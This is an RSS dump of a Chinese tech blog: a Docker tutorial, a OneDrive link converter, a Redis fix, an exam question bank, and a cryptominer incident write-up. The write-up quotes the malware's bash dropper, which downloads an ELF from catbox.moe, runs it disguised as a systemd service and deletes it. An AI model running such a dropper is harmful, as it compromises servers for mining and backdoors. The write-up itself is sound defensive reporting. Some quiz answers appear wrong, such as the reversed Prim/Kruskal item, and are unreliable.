未找到页面 – 天有洪炉 地生五金 https://halloworlds.cn 天有洪炉 地生五金 Mon, 29 Jan 2024 12:24:46 +0000 zh-CN hourly 1 https://wordpress.org/?v=6.4.3 https://halloworlds.cn/wp-content/uploads/2022/01/cropped-708afda28edfb0c2a3b78745d58d1394-2-32x32.png 未找到页面 – 天有洪炉 地生五金 https://halloworlds.cn 32 32 站点导览 https://halloworlds.cn/notice/1.html https://halloworlds.cn/notice/1.html#comments Thu, 06 Aug 2020 15:46:58 +0000 http://www.halloworlds.cn/?p=1 欢迎来访。这是本站导航页。您可以在这里看看,或者直接在主页探索!]]>

欢迎来访。这是本站导航页。您可以在这里看看,或者直接在主页探索!

]]>
https://halloworlds.cn/notice/1.html/feed/ 1
基于rhel8(AlmaLinux/Rocky/centos)安装Docker https://halloworlds.cn/tutorial/764.html https://halloworlds.cn/tutorial/764.html#respond Mon, 29 Jan 2024 12:06:00 +0000 https://halloworlds.cn/?p=764 docker从rhel8开始,podman作为docker的替代品开始推广,在8以上的版本中即使命令安装docker也会安装podman Po ...]]> docker

从rhel8开始,podman作为docker的替代品开始推广,在8以上的版本中即使命令安装docker也会安装podman

Podman是一个开源项目,可在大多数Linux平台上使用。Podman是一个无守护进程的容器引擎,用于在Linux系统上开发、管理和运行OCI(Open Container Initiative)容器和容器镜像。Podman提供了一个与Docker兼容的命令行工具,可以简单地为docker命令取别名为podman即可使用

但是podman 安装麻烦 ,文档没有 docker 好看,podman-compose 并不能完全兼容 docker-compose,所以启动后可能会出一些奇奇怪怪的问题,网上podman的文档也很少,不方便排查问题,并且在开发环境,rootless并不是一个必须的选项,由于这个特性导致容器不能正常运行反而更加麻烦

所以为了稳定运行一些项目,或者不习惯podman,你可以选择手动安装docker

添加docker存储库

sudo yum install -y yum-utils
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

安装

直接安装最新版本

sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

若需指定版本,可先查看可用版本,并指定版本号

#查询版本列表
yum list docker-ce --showduplicates | sort -r
#安装指定版本
sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io docker-buildx-plugin docker-compose-plugin

测试

启动Docker

sudo systemctl start docker

测试helloworld镜像

sudo docker run hello-world

如果打印出信息则说明成功安装并可以正常使用docker了

如果你使用的是其他Linux发行版,也可以参详DockerEngine官方文档
]]>
https://halloworlds.cn/tutorial/764.html/feed/ 0
记一次服务器挖矿病毒排查-journal高CPU占用 https://halloworlds.cn/records/685.html https://halloworlds.cn/records/685.html#respond Mon, 22 Jan 2024 08:40:10 +0000 https://www.halloworlds.cn/?p=685 发现问题 一觉起来发现网站502了,还以为是哪个服务跑崩了,结果ssh上去重启也重启不了,看了看面板发现cpu居然报到140%多, ...]]>
截至目前,受害人数仍然再增加请有使用qbittorrent相关程序的服务器自查!

发现问题

一觉起来发现网站502了,还以为是哪个服务跑崩了,结果ssh上去重启也重启不了,看了看面板发现cpu居然报到140%多,但是内存不高,赶紧top了一下看看

发现journal占用了99%以上的内存,这就很奇怪了,尤其在这之前为了节省空间还专门配置过journal的参数,无奈想试试先kill掉,结果是果然kill不掉,在面板里强制重启一下,好景不长,journal很快再度占满cpu,这就不好办了,甚至连nginx等基本业务都无法保证,遂必须排查出问题

尝试了网上解决journal占用过高的方案,均没有效果,查看最近的十条日志,发现最新一条始终是journal已关闭(埋下伏笔#1)

ps -aux看一下详细的进程情况

发现这个占用99%的进程为systemctl-journald,但是有一个奇怪的点,只要whereis systemctl-journald一下就能看到真正的journal的位置是/usr/lib/systemctl-journald而这里的journal服务的位置却是在一个奇怪的/root/.local/.share/下,这是一个root目录下的隐藏文件夹,作为一个系统服务,在这里运行还使用的是一个莫名其妙的json,这就大有蹊跷了,进去看看

这里有一个journald和logind,看看配置文件,发现大问题

看到mine,再结合cpu爆满,结论也就呼之欲出了,这回服务器中了挖矿病毒,根据配置文件中的链接可以得知这是一个叫猫池-c3pool的cpu挖矿平台,使用的也是经典挖矿程序,挖矿病毒xmrig,可以看到有相当多的机器中招,其中不乏种子机,NAS,这样的家庭设备,不过查到的xmrig病毒的处理办法也不太适用,因为这里找不到xmrig的进程,取而代之的是journal,而且kill也没法停止

深入调查

既然如此,就得再找找更多信息了,而且还没有找到病毒进入服务器的途径

再进入/root/.local/.congig/发现异常,有个systemd-udevd文件

!/bin/bash

if [ "$(pidof systemd-networkd | wc -w)" -lt "2" ]; then
mkdir -p ~/.local/.cache
curl -s4 -L https://files.catbox.moe/fdo5or.elf -o /root/.local/.cache/systemd-networkd
chmod a+x /root/.local/.cache/systemd-networkd
/root/.local/.cache/systemd-networkd
sleep 5
rm /root/.local/.cache/systemd-networkd
fi

这就很明显有问题了,这个shell从网上载下来提前存放好的木马并且重命名,然后授权后运行它,并在5秒后删除

把他下载下来排查一下:

居然还是CS的后门,太意外了,可以溯源到他的目标IP,先在防火墙里ban掉以防他再有小动作,然后想逆向一下后门看看,无奈没有成功不过好在知道了完整的传播途径。

但是为什么变成了journal,还不能kill呢?看了看service文件

已经给改的面目全非了,他把原来的服务篡改掉,换成他由xrmig改出来的journald,并且设置为开机启动,总是重启,所以怎么都kill不掉,从外在看还是journal服务出现了问题,设计的非常精明

解决问题

这样一来,问题就全部明晰了,先把已经发现的病毒,脚本全部删除,再排查一下有没有后门遗留,把溯源得到的ip和不正常链接到服务器过的ip全部ban掉,重写journald服务配置文件,重启服务器,一切恢复正常,日志也能正常显示了

小结

这次问题的出现回想一下大概是因为两个原因,使用第三方脚本安装程序,使用弱口令的程序服务并且关闭防火墙,首先使用脚本一定要从可信的地方获取,其次一定要及时更改安装的服务的密码或端口,尤其是直接暴露在公网的服务,如果简单的使用弱口令或使用脚本提供的预设密码,很容易被爆破,这次就是使用脚本安装的qbittorrent,没有修改任何安全参数,才导致被入侵

]]>
https://halloworlds.cn/records/685.html/feed/ 0
获取OneDrive直链的方案 https://halloworlds.cn/tutorial/693.html https://halloworlds.cn/tutorial/693.html#respond Mon, 22 Jan 2024 05:27:58 +0000 https://www.halloworlds.cn/?p=693
可以直接使用本站搭设好的提取工具

原理

原链接:
https://xxxx-my.sharepoint.com/:x:/g/personal/xx_xx_xx/xxxxxxxxxx

直链:
https://xxxx-my.sharepoint.com/personal/xx_xx_xx/_layouts/52/download.aspx?share=xxxxxxxxxx(这一种更有效)

https://xxxx-my.sharepoint.com/:x:/g/personal/xx_xx_xx/xxxxxxxxxx?download=1(这是重定向跳转至直链)

python实现

import re

def directLink(url):
    reg1 = r'https://.+sharepoint\.com'
    reg2 = r'personal/(\w+?)/'
    reg3 = r'.*/(\S+)'
    reg4 = r'com/:(\w):/'

    p1 = re.findall(reg1, url)[0]
    p2 = re.findall(reg2, url)[0]
    p3 = re.findall(reg3, url)[0]

    if '?' in p3:
        p3 = re.findall(r'(\S+?)\?', p3)[0]

    return p1 + '/personal/' + p2 + '/_layouts/52/download.aspx?share=' + p3
if __name__ == "__main__":
    url = input("OneDrive share link:")
    try:
        url_directed = directLink(url)
        print(f"\n>>> {url_directed}")
    except:
        print("\n>>> 格式错误")

代码参考来源https://blog.csdn.net/qq_43523315/article/details/109450059

根据python的实现方案我做了一份js版本的方案以便部署在网站上,这样不管到哪里都可以方便使用

JS实现方案

// 定义一个函数,接受一个url参数,返回一个处理后的结果
function judgeLink(url) {
  // 定义四个正则表达式,用来匹配和提取url中的参数
  var reg1 = /https:\/\/.+sharepoint\.com/;
  var reg2 = /personal\/(\w+?)\//;
  var reg3 = /.\/(\S+)/;
  var reg4 = /com\/:(\w):/;

  // 使用match方法,返回一个数组,包含匹配的结果
  var p1 = url.match(reg1)[0];
  var p2 = url.match(reg2)[1];
  var p3 = url.match(reg3)[1];

  // 如果p3中包含问号,就去掉问号后面的部分
  if (p3.includes("?")) {
    p3 = p3.split("?")[0];
  }

  // 如果reg4匹配到的结果是f,就返回一个错误提示
  if (url.match(reg4)[1] == "f") {
    return "抱歉,你所输入链接分享的是文件夹,直链生成仅对单文件有效。";
  }

  // 否则,拼接p1, p2, p3,返回一个直链下载地址
  return p1 + "/personal/" + p2 + "/_layouts/52/download.aspx?share=" + p3;
}

// 获取用户输入的url
var url = prompt("请输入你的OneDrive单文件分享链接:");

// 调用judgeLink函数,获取处理后的结果
var url_judged = judgeLink(url);

// 在控制台或网页上显示结果
console.log("\n>>> " + url_judged);
// 或者
document.write("\n>>> " + url_judged);
]]>
https://halloworlds.cn/tutorial/693.html/feed/ 0
Docker部署的服务无法连接数据库的解决方案 https://halloworlds.cn/tutorial/665.html https://halloworlds.cn/tutorial/665.html#respond Thu, 18 Jan 2024 06:47:34 +0000 https://www.halloworlds.cn/?p=665

在利用docker部署完应用程序后,就接着考虑如何将程序连接到数据库。但是过程中发现一些问题:
首先,本地运行的程序可以直连本地的数据库,同理在服务器上部署的服务想要相互连接就必须要在相同的环境下才能成功。

按照Mozilla官方文档部署了redis服务并开放端口
但是尝试多次之后,即便是修改的一模一样,在centos上运行还是报错。
想了多次还是无法理解,尝试过在docker上再创建一个redis的容器,能扫描到端口但是程序依然没有连接到数据库。
就在无可奈何准备放弃的时候

看了下send的issue发现这个项目的docker需要自行配置参数,遂添加启动参数redis_url,再想想直接配置为localhost其实是连接到的是这个docker容器,实际上应该连接到服务器本地才对

 解决办法
将redis_url=localhost换成自己服务器的ip地址

注意你的服务部署在什么位置

在开发时,要连接连接自己服务器的数据库,如果不是直接部署在同一位置,一定记得填写数据库地址为服务器公网ip,这样即使你在任意的主机上也不存在数据库环境的问题了。

]]>
https://halloworlds.cn/tutorial/665.html/feed/ 0
数据结构与算法 题库 https://halloworlds.cn/uncategorized/643.html https://halloworlds.cn/uncategorized/643.html#respond Wed, 03 Jan 2024 10:57:07 +0000 https://www.halloworlds.cn/?p=643

题库顺序为:选填-简答-编程

每一部分以---分隔,仅供复习练习使用,严禁私自转载、违规使用!
1.	数据结构是一门研究程序设计中数据(元素)以及它们之间的关系和运算筹的学科
2.	在数据结构中从逻辑上可以把数据结构分为(线性结构和非线性结构)两类
3.	数据的逻辑结构是(数据元素之间逻辑)关系的整体
4.	下列说法中不正确的是(数据项可由若干个数据元素构成)
5.	在计算机的存储器中表示数据时,物理地址和逻辑地址的相对位置相同并且是连续的,称之为(顺序存储结构)
6.	在链式存储结构中,一个存储结点通常用于存储一个(数据元素)
7.	数据运算(其执行效率与采用何种存储结构有关)
8.	数据结构在计算机内存中的表示是指(数据的存储结构)
9.	在数据结构中,与所使用的计算机无关的是(逻辑结构)
10.	数据采用链式存储结构时要求(每个结点占用一片连续的存储区域)
11.	以下叙述正确的是(III.链式存储结构通过链指针表示数据元素之间的关系)
12.	以下(长度有限)不是算法的基本特征
13.	在计算机中算法指的是解决某一问题的有限运算序列,他必须具备输入,输出,(可行性,有穷性和确定性)
14.	下面关于算法的说法正确的是(一个算法所花的时间等于该算法中每条语句的执行时间之和)
15.	算法的时间复杂度与(问题规模)有关
16.	算法分析的主要任务之一是分析(算法的执行时间和问题规模之间的关系)
17.	算法分析的目的是(分析算法的效率以求改进)
18.	某算法的时间复杂度为O(n2),表明该算法的(执行时间与n2成正比)
19.	某算法的时间复杂度为O(n)表示该算法的(执行时间与n呈现线性增长的关系)
20.	算法的空间复杂度是指(算法中需要的临时变量所占用存储空间的大小)
21.	线性表是(一个有限序列,可以为空)
22.	在一个长度为n的顺序表中向第i个元素之前插入一个新元素时需要向后移动(n-i+1)个元素
23.	链表不具有的特点(可随机访问任一元素)
24.	若线性表最常用的运算是存取第i个元素以及前驱元素值,则采用(顺序表)存储方式节省时间
25.	在单链表中,若p结点不是尾结点,在其中插入s结点的操作是(s next = p next p next = s)
26.	在一个单链表中,删除p结点之后的一个结点的操作是(p next = p next next)
27.	某线性表最常用的运算是在尾元素之后插入元素和删除开始元素,则以下(仅有尾结点指针的循环单链表)存储方式最节省运算时间
28.	如果对含有n个元素的线性表的运算只有4种,即删除第一个元素,删除尾元素,在第一个元素前面插入新元素,在尾元素的后面插入新元素,则最好使用(只有首结点指针没有尾结点指针的循环双链表)
29.	以下关于有序表的叙述正确的是(有序表既可以采用顺序表存储,也可以采用链表存储)
30.	在只有尾结点指rear没有头结点的非空循环单链表中,删除开始结点的时间复杂度为(O1)
31.	在有n个元素的顺序表中的任意位置插入一个元素所需移动元素的平均次数为n/2
32.	带头结点的单链表L为空的判定条件是L->next==NULL
33.	线性表采用某种链式存储结构,在该链表上删除尾结点的时间复杂度为O1 则该链表是(循环双链表)
34.	两个长度分别为m,n的有序单链表,在采用二路归并算法产生一个有序单链表时,算法的时间复杂度为O(m+n)
35.	有一个长度为n的循环单链表L,在p所指的结点之前插入一个新结点,其时间复杂度为O(n)
36.	顺序表具有随机存取特性,所以查找值为x的元素的时间复杂度为O(1)×
37.	在含有n个结点的单链表L中,将p所指结点(非首结点)与其前驱结点交换,时间复杂度为O(1)×
38.	向顺序表中插入一个元素平均要移动大约一半的元素√
39.	对于单链表来说需要从头结点出发才能扫描表中的全部结点√
40.	由于顺序表需要一整块连续的存储空间,所以存储空间利用率高×
41.	以下数据结构中元素之间为线性关系的是(以上都是)
42.	栈和队列的共同点是(只允许在端点处插入和删除元素)
43.	设一个栈的输入序列为a,b,c,d,则借助一个栈所得到的输出序列不可能是(dabc)
44.	已知一个栈的进栈序列是1,2,3,.....n,其输出序列是p1...若p1 = n 则pi的值是(n-i+1)
45.	设n个元素......则p2的值是(不可能是1)
46.	循环队列(不会产生假溢出)
47.	设有5个元素的进栈序列是.....栈容量至少是(4)
48.	表达式a*(b+c)-d的后缀表达式是(abc+*d-)
49.	表达式(a+a*b)*a+c*b/a的后缀表达式是(aab*+a*cb*a/+)
50.	在数据处理过程中常需要保存一些中间数据,如果先保存的数据先处理,则使用(队列)来保存这些数据
51.	栈是一种具有(后进先出)特性的线性表
52.	当利用大小为n.....首先应执行top++语句修改top指针
53.	若用带头结点的单链表st来表示链栈,则栈空的条件是(st->next==NULL)
54.	若环形队列的最大容量为MaxSize....公式为((rear-front+MaxSize)%MaxSize)
55.	为了解决队列的假溢出现象,应采用队(循环)列
56.	在n个元素连续进栈以后,他们的出栈顺序和进栈顺序一定正好相反√
57.	栈顶元素和栈低元素有可能是同一个元素√
58.	n个元素进队的顺序和出队的顺序总是一致的√
59.	无论是顺序队还是链队,插入,删除运算的时间复杂度都是O(1)√
60.	若用data【1...m】...只能进行m次
61.	串是一种特殊的线性表,其特殊性体现在(数据元素是一个字符)
62.	以下关于串的叙述中正确的是(串是一种特殊的线性表)
63.	串的长度是(串中所含字符的个数)
64.	两个字符串相等的条件是(串的长度相等且对应的字符相同)
65.	设S为.....个数为(+-)
66.	若串S=“software”,其子串个数为(37)
67.	一个链串的结点类型如下:如果每个字符占一个字节...该链串的存储密度为(3/4)
68.	串采用结点大小为1的链表作为其存储结构是指(链表中每个结点的数据域中只存放一个字符)
69.	设有两个串s和t,判断t是否为s子串的算法称为(串匹配)
70.	在BF模式中,j与i字符不相等,i的位移方式为(i=i-j+1)
71.	在BF模式中,j与i字符不相等,j的位移方式为(j=0)
72.	在kmp模式中,j与i不相等时,i的位移方式为(i不变)
73.	在kmp模式中,j与i不相等时,j的位移方式为(j=next[j])
74.	在kmp模式中,j与i相等时,i的位移方式为(i++)
75.	在kmp模式中,j与i相等时,j的位移方式为(j++)
76.	设目标串为s,模式串为t,在kmp中next【4】=2的含义是(表示t4字符前面最多有两个字符和开头的两个字符相同)
77.	设串 s1 = “i am a student”,则串长为(14)
78.	设目标串s=“abccdcdccbaa”,模式串t=“cdcc”若采用BF算法,则在第(6)趟成功
79.	已知模式串t=“aaababcaabbcc”则t【3】=‘b’,next【3】=(2)
80.	已知t=“abcaabbcabcaabdab”,该模式串的next数组值为(-1 0 0 0 1 1 2 0 0 1 2 3 4 5 6 0 1)
81.	数组A[0..5,0.6]的每个元素占5个字节,将其按列优先次序存储在起始地址为1000的内存单元中,则元素A[5,5]的地址是[1175]
82.	数组通常具有的两种基本操作是[查找和修改]
83.	对矩阵压缩存储是为了[减少存储空间]
84.	稀疏矩阵一般的压缩存储方法有两种,即[三元组和十字链表]
85.	设有一个n行n列的对称矩阵A,将其下三角部分按行存放在一个一维数组B中,A[0][0]存放于B[0]中,那第i行的对角元素A[i][i]存放于B中[(i+3)*i/2]处
86.对n阶对称矩阵作压缩存储时,需要表长为[n(n+1)/2]的顺序表
87.若将n阶上三角矩阵A按列优先顺序压缩存放在一维数组B[1..n(n+1)/2]中,A中第一个非零元素a1,1存于B数组的b1中,则应存放到bk中的非零元素aij(i≤j)的下标i、j与k的对应关系是[j(i-1)/2+i
]
88.	将一个A[1.100,1..100]的三对角矩阵,按行优先存入一维数组B[1.298]中,A中元素 A66,65(即该元素行下标i=66,列下标j=65),在B数组中的位置K为[195]
89.	广义表((a, b), c,(d,(e)))的表尾是[(c,(d,(e)))]
90.	下面说法不正确的是[广义表的表头总是一个广义表]
91.	广义表(a,((b,(c,d,(e,f))),g))的深度为[5]
92.	以下关于二叉树遍历的说法中,错误的是[一颗二叉树中,若每个结点最多只有左孩子,没有右孩子,则先序和后续序列相同]
93.	二叉树若用顺序存储结构表示,则下列4种运算中的[层次遍历]二叉树最容易实现。
94.	给定二叉树如图所示。设N代表二叉树的根,L代表根结点的左子树,R代表根结点的右子树。若遍历后的结点序列为3,1,7,5,6,2,4则其遍历方式是[RNL]
95.	以下关于二叉树的说法中正确的是[二叉树中每个结点的度可以小于2]
96.	以下关于二叉树的说法中正确的是[二叉树中度为0的结点个数等于度为2的结点个数加1]
97.	设有13个权值,用他们组成一颗哈夫曼树,则该哈夫曼树共有[25]个结点
98.	假设每个结点值为单个字符,而一棵树的后根遍历序列为ABCDEFGHIJ,则其根结点值是[J]
99.	一颗完全二叉树中有1001个结点,其中度为1的结点个数是[1]
100.	若知道该二叉树的[中序和后序序列],便可以唯一确定该二叉树
101.	一颗二叉树的先序遍历为ABCDEF,中序遍历序列为CBAEDF,则后序遍历序列为[CBEFDA]
102.	某颗二叉树中,X结点有左孩子Y结点,则在其先序遍历中[访问X结点后立即访问Y结点]
103.	若二叉树采用二叉链存储结构,要删除该二叉链中所有结点并释放他们占用的空间,利用[后序]遍历方法最合适
104.	根据使用频率为5个字符设计的哈夫曼编码不可能是[100,11,10,1,0]
105.	下面关于哈夫曼树的说法,错误的是[哈夫曼树中除了度为1的结点外,还有度为2的结 点和叶子结点]
106.	在二叉树中,指针p所指结点为叶子结点的条件是[p->lchild==null && p->rchild==null]
107.	一颗含有50个结点的二叉树,他的最小高度是[6]
108.	一颗含有65个结点的高度最大的二叉树,第10层有[1]个结点
109.	一颗含有50个结点的二叉树,他的最大高度是[50]
110.	一颗含有50个结点的二叉树中,第6层有[19]个结点
111.	非空二叉树的先序序列的最后一个结点一定是叶子结点(对)
112.	哈夫曼树是带权路径长度最短的二叉树,权值越大的结点离根结点越远(错)
113.	在哈夫曼树中,权值相同的叶子结点都在同一层上(错)
114.	存在这样的二叉树,对它采用任何次序的遍历,结果相同(对)
115.	如果具有n个顶点的图恰好是一个环,则他有[2n]颗生成树
116.	对有n个顶点、e条边且使用邻接表存储的有向图进行深度优先遍历,其算法的时间复杂度是[O(n+e)]
117.	一个有n个顶点的无向图最多有[n(n-1)/2]条边
118.	用Dijkstra算法求一个带权有向图G中从顶点0出发的最短路径,在算法执行的某时刻,S={0,2,3,4},选取的目标顶点是顶点1,则可能修改最短路径是[从顶点0到顶点1的最短路径]
119.	采用邻接表存储的图的深度优先遍历算法类似于二叉树的[先序遍历]算法
120.	有一个顶点编号为0~4的带权有向图G,现用Floyd算法求任意两个顶点之间的最短路径,在算法执行的某时刻,已经考虑了0~2的顶点,现考虑顶点3,则以下叙述中正确的是[所有两个顶点之间的路径都可能被修改]
121.	对于n个顶点e条边的有向带权图,可以通过Dijkstra算法求出所有两个顶点之间的最短路径,此时的时间复杂度为[O(n3)]
122.	任何一个带权无向连通图[有一颗或多颗]最小生成树
123.	Dijkstra算法是[按长度递增的顺序求出图的某顶点到其余顶点的最短路]方法求出图中从某点到其余顶点最短路径的
124.	以下关于广度优先遍历的叙述中正确的是[对一个强连通图调用一次广度优先遍历算法便可访问所有的顶点]
125.	对于某个带权连通图构造最小生成树,以下说法中正确的是[仅该图的最小生成树的总代价一定是唯一的]
126.	用Prim算法求一个连通的带权图的最小代价生成树,在算法执行的某时刻,已选取的顶点集合U={1,2,3},已选取的边的集合TE={(1,2)(2,3)},要选取下一条权值最小的边,应当从[{(1,4),(3,4),(3,5),(2,5)}]组中选取
127.	用Dijkstra算法求一个带权有向图G中从顶点0出发的最短路径,在算法执行的某时刻,S={0,2,3,4},下一步选取的目标顶点可能是[顶点7]
128.	对有n个顶点、e条边且使用邻接矩阵存储的有向图进行广度优先遍历,其算法的时间复杂度[O(n2)]
129.	一个无向连通图的生成树是含有该连通图的全部顶点的[极小连通子图]
130.	图的遍历是指[从一个顶点出发访问图中所有顶点且每个顶点只能访问一次]
131.	如果从无向图的任一顶点出发进行一次深度优先遍历即可访问所有顶点,则该图一定是[连通图]
132.	非空无向图的临界矩阵是一个[对称矩阵]
133.	用Kruskal算法求一个连通的带权图的最小代价生成树,在算法执行的某时刻,已选取的边集合TE={(1,2),(2,3),(3,5)},要选取下一条权值最小的边,不可能选取的边[(1,3)]
134.	以下[遍历]方法可用于求无向图的连通分量
135.	在一个具有n个顶点的无向连通图中至少有[n-1]
136.	以下叙述中错误的是[图的深度优先遍历不适合有向图]
137.	一个有向图G=(V,E),V={0,1,2,3,4},E={<0,1>,<1,2>,<0,3>,<1,2>,<1,4>,<2,4>,<4,3>},现按深度优先遍历算法遍历,从顶点0出发,所得到的顶点序列是[0,1,2,4,3]
138.	在一个无向图中,所有顶点的度之和等于边数的[2]倍
139.	在使用Prim和Kruskal算法构造最小生成树时,前者更适合于[稀疏图],后者更适合于[稠密图]
140.	一个具有n个顶点的无向图是一个环,则它有[2n]颗生成树
141.	一个带权连通图的最小生成树[不一定是]唯一的
142.	已知一无向图G=(V,E),其中,V={a,b,c,d,e},E={(a,b),(a,d),(a,c)(d,c),(b,e)},现用某一种图遍历方法从顶点a开始遍历图,得到的序列为abecd,则采用的是[深度优先]遍历方法
143.	含有n个顶点的无向图都连通全部顶点至少需要[n-1]条边
144.	已知一无向图G=(V,E),其中,V={a,b,c,d,e},E={(a,b),(a,d),(a,c)(d,c),(b,e)},现用某一种图遍历方法从顶点a开始遍历图,得到的序列为adbce,则采用的是[广度优先]遍历方法
145.	对于无向图生成树,其深度优先生成树和广度优先生成树一定不相同(错)
146.	图的深度优先遍历算法和广度优先遍历算法是两种不同的算法,所以任何图的这两种遍历序列是不可能相同的(错)
147.	任何一个图,一旦指定源点,其深度优先遍历序列是唯一的(错)
148.	下列排序方法中,辅助空间为O(n)的是[归并排序]
149.	以下排序方法中,稳定的排序方法是[基数排序]
150.	快速排序在[排序的数据已基本有序]的情况下最不利于发挥其长处
151.	下列排序方法中,[归并排序]在一趟结束后不一定能选出一个元素放在其最终位置上
152.	以下序列不是堆的是{100,85,40,77,80,60,66,98,82,10,20}
153.	目前来讲,基于比较的内排序方法最好的平均时间复杂度为[O(nlog2n)]
154.	为实现快速排序法,待排序序列宜采用存储方式是[顺序存储]
155.	在排序算法中,每次从未排序的元素中通过关键字直接比较选取最小关键字的元素,加入到已排序元素的末尾,该排序方法是[简单选择排序]
156.	以下不属于内排序的方法是[拓扑排序]
157.	已知序列{18,12,16,10,5,15,2,8,7}是大根堆,删除一个元素后再调整为大根堆,调整后的大根堆是[{16,12,15,10,5,7,2,8}]
158.	内排序方法的稳定性是指[经过排序后,能使关键字相同的元素保持原顺序中的相对位置不变]
159.	以下[冒泡排序]方法在数据基本有序时效率最好
160.	下列排序方法中稳定的排序算法是[归并排序]
161.	在快速排序、堆排序、归并排序中,[归并]排序是最稳定的
162.	对数据序列{5,1,7,9,8,6,3,4,2,10}采用冒泡排序方法进行递增排序,每趟通过交换归位关键字最小的元素,经过一趟后的排序结果是[{1,5,2,7,9,8,6,3,4,10}]
163.	如果一组数据采用某种排序方法进行排序,排序后相同关键字的元素的相对位置不发生改变称该排序方法是[稳定]的
164.	每次从无序子表中取出一个元素,通过依次比较把它插入到有序子表的适当位置,此种排序方法称为[直接插入排序]
165.	内排序方法要求数据一定以顺序表方式存储[错]
166.	排序的稳定性是指排序算法中的比较次数保持不变,且算法能够终止(错)
167.	冒泡排序中,关键字比较的次数与初始数据序列有关,而元素移动的次数与初始数据序列无关[错]
168.	从时间性能看,堆排序总是优于简单选择排序
169.	对于不同的初始数据序列,二路归并排序算法中关键字比较次数有所不同[对]
170.	简单选择排序是一种不稳定的排序方法[对]
171.	n个元素采用二路归并排序算法,总的趟数为n[错]
172.	当待排序的元素很大时,为了交换元素的位置,移动元素要占用较多的时间,这是影响算法时间复杂度的主要因素[错]
173.	二路归并排序算法的时间复杂度与初始数据序列的顺序无关[对]
174.	所有内排序算法中的比较次数与初始元素序列的排序无关










---
1、简述二叉树与度为 2 的树之间的差别。
答:二叉树的子树有严格的左、右之分,其次序不能任意颠倒,某个结点即使只有一棵子树,
也区分是左子树还是右子树,而在度为 2 的树中,某个结点只有一棵子树时,是不区分左右
性的。除此之外,二叉树可以是空树,而度为 2 的树至少有一个度为 2 的结点,所以不能为
空树。
2、为了实现以下各种功能,x 结点表示该结点的位置,给出树的最适合的存储结构:
(1)求 x 和 y 结点的最近祖先结点。
(2)求 x 结点的所有子孙结点。
(3)求根结点到 x 结点的路径。
(4)求 x 结点的所有右边兄弟结点。
(5)判断 x 结点是否为叶子结点。
(6)求 x 结点的所有孩子结点。
答: (1)双亲存储结构。
(2)孩子链存储结构。
(3)双亲存储结构。
(4)孩子兄弟链存储结构。
(5)孩子链存储结构。
(6)孩子链存储结构。
3、设二叉树 bt 的一种存储结构如表 1 所示。其中,bt 为树根结点指针,lchild、rchild 分别
为结点的左、右孩子指针域,在这里使用结点编号作为指针域值,0 表示指针域值为空;data
为结点的数据域。请完成下列各题:
表 1 二叉树 bt 的一种存储结构
(1)画出二叉树 bt 的树形表示。
(2)写出按先序、中序和后序遍历二叉树 bt 所得到的结点序列。
答:(1)二叉树 bt 的树形表示如下图所示。
(2)先序序列: abcedfhgij 。
中序序列: ecbhfdjiga。
后序序列: echfjigdba。
4、给定一棵非空二叉树 b,采用二叉链存储结构,说明查找中序序列的第一个结点和最后
一个结点的过程。
答:中序序列的第一个结点就是根结点的最左下结点,其查找过程如下。
p= b;
while (p->lchild!= NULL) //循环结束,p 指向中序序列的第一个结点
p = p->lchild;
中序序列的最后一个结点就是根结点的最右下结点,其查找过程如下。
p= b;
while (p->rchild!= NULL) //循环结束,p 指向中序序列的最后一个结点
p = p->rchild;
5、若某非空二叉树的先序序列和中序序列正好相反,则该二叉树的形态是什么?
答:二叉树的先序序列是 NLR、中序序列是 LNR,要使 NLR = RNL(中序序列反序)成
立,则 R 必须为空,所以满足条件的二叉树的形态是所有结点没有右子树的单支树。
6、一棵二叉树的先序、中序和后序序列分别如下,其中有一部分未显示出来。试求出空格
处的内容,并画出该二叉树。
先序序列: _ B__ F__ ICEH_ G
中序序列: D__ KFIA__ EJC_ 后序序列: _ K_ FBHJ__ G__ A
答:由后序序列可知根结点为 A,先序序列的第一个空为 A,由中序序列可知,左子树有 5
个结点,由先序序列可知,左子树中有 B、F、I 结点,所以中序序列的第一个空为 B,可推
出先序序列的第 2 个空为 D,第 3 个空为 K;右子树有 5 个结点,由中序序列可知,右子树
中有 E、J、C 结点,所以先序序列中第 4 个空为 J,这样产生完整的先序序列,可知右子树
根结点为 C,由中序序列可知,C 的左子树有 3 个结点,为 E、H、J,所以中序序列的第 2
个空为 H,C 的左子树只有一个结点 G,所以中序序列的第 3 个空为 G。
从而构造出的二叉树如下图所示:
则先序序列为 ABDFKICEHJG;中序序列为 DBKFIAHEJCG;后序序列为 DKIFBHJEGCA
7、假设一段正文由字符集{a,b,c,d,e,f}中的字母构成,这 6 个字母在这段正文中出现的次数
分别是{12,18,26,6,4,34}。回答以下问题:
(1)为这 6 个字母设计哈夫曼编码。
(2)求带权路径长度 WPL。
(3)设每个字节由 8 个二进制位组成,计算按照哈夫曼编码存储这段正文需要多少字节?
答:(1)构造的哈夫曼树如图所示,
对应的哈夫曼编码如下。
a: 001, b: 01, c: 10, d: 0001, e: 0000, f: 11。
(2)该哈夫曼树的 WPL=(4+6)*4+12*3+(18+ 26+34)*2=232。
(3)存储这段正文所需要的二进制位数恰好等于 WPL,所以对应 232/8=29 个字节。
8、若已知一棵完全二叉树(所有节点值均不同)的先序、中序或后序遍历序列中的一种,
能够唯一确定这棵二叉树吗?如果能,请以其中一种遍历序列来说明构造该二叉树的过程。
如果不能,并举一个反例予以说明。
答:能够。因为任一种遍历序列中含有节点个数 n,当 n 已知时就可以确定完全二叉树的形
态,以给定先序遍历序列 a1a2…an为例,由该完全二叉树形态得到的先序遍历序列 b1b2…bn,
则 bi=ai,这样就可以唯一构造这棵二叉树。
9、已知一棵二叉树的中序序列为 cbedahgijf,后序序列为 cedbhjigfa,给出该二叉树的树形
表示,并写出先序序列。
10、给定 6 个字符 a~f ,它们的权值集合 W = {2, 3, 4, 7, 8, 9},试构造关于 W 的一棵哈
夫曼树,求其带权路径长度 WPL 和各个字符的哈夫曼编码。
答:由权值集合 W 构建的哈夫曼树如图所示。其带权路径长度 WPL=(9+7+8)*2+4*3+(2+3)*4= 80。
11、已知某二叉树的中序遍历序列为 BFDJGACHKEI,后序遍历序列 FJGDBKHIECA,请画出该
二叉树,并给出该二叉树的先序遍历序列。
12、Dijkstra 算法用于求单源最短路径,为了求一个图中所有顶点对之间的最短路径,可以
